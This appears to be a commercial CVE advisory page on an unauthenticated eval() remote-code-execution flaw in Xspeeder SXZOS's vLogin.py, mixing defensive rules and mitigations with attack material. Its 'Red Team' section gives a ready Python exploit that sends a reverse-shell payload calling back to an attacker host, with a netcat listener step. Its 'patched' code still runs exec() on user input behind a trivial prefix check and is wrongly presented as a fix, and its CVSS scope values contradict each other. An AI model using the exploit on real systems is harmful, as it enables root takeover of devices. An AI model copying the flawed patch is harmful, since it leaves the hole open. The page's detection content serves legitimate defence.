☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 10 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H 🐛 CWE-95
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-54322

CVE-2025-54322 Remote Code Execution in Xspeeder
📅 PUBLISHED: 2025-12-27 00:00 UTC 🔄 UPDATED: 2026-10-09 05:40 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 15.15%
👁️
15.15% probability
378.7× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 10.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: C Scope Changed
C: H Confidentiality High
I: H Integrity High
A: H Availability High
10.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54322 is a critical, unauthenticated remote code execution vulnerability in Xspeeder SXZOS, affecting all versions up to 2025-12-26. The flaw resides in the vLogin.py script, where the chkid parameter is directly passed to a Python eval() or exec() call after base64 decoding, allowing an attacker to execute arbitrary Python code with root privileges. The title and oIP parameters are also used in the same vulnerable function, providing additional attack vectors. With a CVSS score of 10.0, this vulnerability requires immediate attention. No official patch is available, and the vendor has not responded to disclosure attempts.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary embedded system (Xspeeder SXZOS). No supply chain attack vector is present.

CVSS Breakdown & Threat Level

  • CVSS Score: 10.0 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Exploit does not cross trust boundaries.
  • Confidentiality Impact: High (C:H) – Full system compromise.
  • Integrity Impact: High (I:H) – Full system compromise.
  • Availability Impact: High (A:H) – Full system compromise.

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to gain root shell access, leading to complete compromise of the device.

Deep Dive & Mechanics

The vulnerability exists in the vLogin.py script, which is part of the Xspeeder SXZOS web interface. The script accepts a chkid parameter via HTTP POST request. This parameter is base64-decoded and then passed to a Python eval() or exec() function without any sanitization. The title and oIP parameters are also processed in the same vulnerable code path, likely used for logging or display purposes but also injected into the same dangerous function.

Vulnerable Code Flow:

  1. The web server receives a POST request to /vLogin.py.
  2. The script extracts the chkid, title, and oIP parameters.
  3. The chkid parameter is base64-decoded.
  4. The decoded string is passed to eval() or exec() in Python, allowing arbitrary code execution.
  5. The script runs with root privileges, giving the attacker full control.

Attack Vector: An attacker sends a crafted HTTP POST request to the vulnerable endpoint with a base64-encoded Python payload in the chkid parameter. The payload is executed immediately, allowing the attacker to spawn a reverse shell, execute system commands, or install malware.

Example Payload:

import base64
payload = "__import__('os').system('id')"
encoded = base64.b64encode(payload.encode()).decode()
print(encoded)
# Output: X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2lkJyk=

Vulnerable vs. Patched Code

Vulnerable Code (vLogin.py):

import base64
import cgi

form = cgi.FieldStorage()
chkid = form.getvalue('chkid')
title = form.getvalue('title')
oIP = form.getvalue('oIP')

if chkid:
    decoded = base64.b64decode(chkid).decode('utf-8')
    eval(decoded)  # Vulnerable: arbitrary code execution

Patched Code (Hypothetical):

import base64
import cgi
import re

form = cgi.FieldStorage()
chkid = form.getvalue('chkid')
title = form.getvalue('title')
oIP = form.getvalue('oIP')

if chkid:
    # Validate that chkid is a simple alphanumeric string
    if re.match(r'^[a-zA-Z0-9+/=]+$', chkid):
        decoded = base64.b64decode(chkid).decode('utf-8')
        # Further validate decoded content (e.g., only allow specific commands)
        if decoded.startswith('allowed_command_'):
            exec(decoded)
        else:
            print("Invalid command")
    else:
        print("Invalid chkid format")

Key Differences:

  • The patched version adds input validation using regex to ensure chkid contains only base64 characters.
  • The decoded content is checked against a whitelist of allowed commands.
  • The use of eval() is replaced with exec() (still dangerous but with validation) or ideally removed entirely.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target running Xspeeder SXZOS with vLogin.py exposed.
  • Network access to the target's web interface.

Exploit Script (Python):

import requests
import base64

target = "http://target-ip/vLogin.py"
# Reverse shell payload
payload = """
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attacker-ip",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
"""
encoded_payload = base64.b64encode(payload.encode()).decode()
data = {
    "chkid": encoded_payload,
    "title": "test",
    "oIP": "127.0.0.1"
}
response = requests.post(target, data=data)
print(response.text)

Lab Setup:

  1. Set up a vulnerable instance of Xspeeder SXZOS (e.g., in a VM).
  2. Start a netcat listener on attacker machine: nc -lvnp 4444.
  3. Run the exploit script.
  4. Receive reverse shell as root.

Blue Team (Detection & Response)

Detection Steps:

  1. Monitor HTTP POST requests to /vLogin.py with unusually long chkid parameters.
  2. Look for base64-encoded strings in chkid that decode to Python code containing os.system, subprocess, socket, or eval.
  3. Alert on any successful execution of eval() or exec() in Python logs.
  4. Monitor outbound connections from the device to suspicious IPs on common reverse shell ports (4444, 1337, 8080).

Response:

  1. Isolate the affected device from the network.
  2. Capture memory and disk images for forensic analysis.
  3. Review logs for any lateral movement.
  4. Apply temporary mitigation (see Remediation & Mitigation).

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /vLogin.py with chkid parameter containing base64-encoded Python code.
  • Outbound connections to attacker-controlled IPs on ports 4444, 1337, 8080, 31337.
  • Unusual base64 strings in HTTP requests (e.g., X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2lkJyk=).

File IOCs:

  • Modified /tmp/ directory with suspicious scripts (e.g., reverse.py, shell.sh).
  • New cron jobs or systemd services.
  • Unusual entries in /etc/passwd or /etc/shadow.

Process IOCs:

  • Python processes spawned by vLogin.py with arguments containing eval or exec.
  • Reverse shell processes (e.g., /bin/sh -i).

YARA Rule:

rule CVE_2025_54322_Exploit {
    meta:
        description = "Detects base64-encoded Python payloads targeting CVE-2025-54322"
        author = "Valters IT"
        date = "2025-12-26"
    strings:
        $base64_pattern = /[A-Za-z0-9+/=]{50,}/ 
        $python_keyword = "eval" nocase
        $python_keyword2 = "exec" nocase
        $python_keyword3 = "os.system" nocase
        $python_keyword4 = "subprocess" nocase
        $python_keyword5 = "socket" nocase
    condition:
        any of ($python_keyword*) and #base64_pattern > 0
}

Detection Engineering

Sigma Rule

title: CVE-2025-54322 - Xspeeder SXZOS RCE via vLogin.py
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to vLogin.py with base64-encoded Python payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/vLogin.py'
        cs-uri-query|contains: 'chkid='
    condition: selection
falsepositives:
    - Legitimate base64-encoded data (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54322 - Xspeeder SXZOS RCE via vLogin.py"; flow:to_server,established; content:"POST"; http_method; content:"/vLogin.py"; http_uri; content:"chkid="; http_client_body; pcre:"/chkid=[A-Za-z0-9+/=]{50,}/"; classtype:attempted-admin; sid:1000001; rev:1;)

YARA Rule (for file scanning)

rule CVE_2025_54322_Payload {
    meta:
        description = "Detects Python payloads used in CVE-2025-54322"
        author = "Valters IT"
    strings:
        $s1 = "eval(base64.b64decode" ascii
        $s2 = "exec(base64.b64decode" ascii
        $s3 = "os.system" ascii
        $s4 = "subprocess.call" ascii
        $s5 = "socket.socket" ascii
    condition:
        any of them
}

Remediation & Mitigation

Immediate Mitigation (No Patch Available):

  1. Disable vLogin.py: Remove or rename the vLogin.py file from the web server directory.
  2. Firewall Rules: Block external access to the web interface (port 80/443) if not required.
  3. Input Validation: Implement a reverse proxy (e.g., Nginx) that validates the chkid parameter and rejects base64-encoded strings that decode to Python code.
  4. Network Segmentation: Isolate affected devices on a separate VLAN with strict egress filtering.

Long-Term Remediation:

  1. Vendor Patch: Contact Xspeeder for an official patch. If unavailable, consider replacing the device.
  2. Code Review: If source code is available, replace eval()/exec() with safe alternatives (e.g., JSON parsing, whitelist-based command execution).
  3. Upgrade: Migrate to a supported operating system or device.

Workaround (Nginx Reverse Proxy):

location /vLogin.py {
    if ($arg_chkid ~* "^[A-Za-z0-9+/=]{50,}$") {
        return 403;
    }
    proxy_pass http://backend;
}

Valters IT
Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54322/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.